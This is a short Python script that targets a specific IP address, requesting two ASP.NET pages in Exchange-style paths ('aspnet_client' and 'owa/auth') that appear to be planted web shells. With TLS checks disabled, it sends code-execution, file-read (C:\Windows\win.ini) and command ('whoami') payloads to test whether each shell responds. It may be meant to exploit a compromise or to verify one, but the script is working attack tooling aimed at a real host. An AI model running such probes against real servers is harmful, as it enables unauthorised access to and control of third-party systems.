#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
URLS = ["https://103.167.140.144/aspnet_client/c.aspx",
        "https://103.167.140.144/owa/auth/c.aspx"]

for u in URLS:
    print("====", u)
    try:
        r = requests.get(u, verify=False, timeout=25)
        print(" GET", r.status_code, len(r.content), r.headers.get('Content-Type'), "| head:", repr(r.text.split('!BD')[0][:120]))
    except Exception as e:
        print(" GET EXC", type(e).__name__, str(e)[:100])
    try:
        r = requests.get(u, params={"z": 'Response.Write("Z:"+System.Environment.UserName+":"+System.Environment.MachineName);'}, verify=False, timeout=25)
        print(" Z  ", r.status_code, "|", repr(r.text.split('!BD')[0][:150]))
    except Exception as e:
        print(" Z EXC", type(e).__name__, str(e)[:100])
    try:
        r = requests.get(u, params={"rf": r"C:\Windows\win.ini"}, verify=False, timeout=25)
        print(" RF ", r.status_code, len(r.content), "|", repr(r.text.split('!BD')[0][:80]))
    except Exception as e:
        print(" RF EXC", type(e).__name__, str(e)[:100])
    try:
        r = requests.get(u, params={"cmd": "whoami"}, verify=False, timeout=25)
        print(" CMD", r.status_code, "|", repr(r.text.split('!BD')[0][:120]))
    except Exception as e:
        print(" CMD EXC", type(e).__name__, str(e)[:100])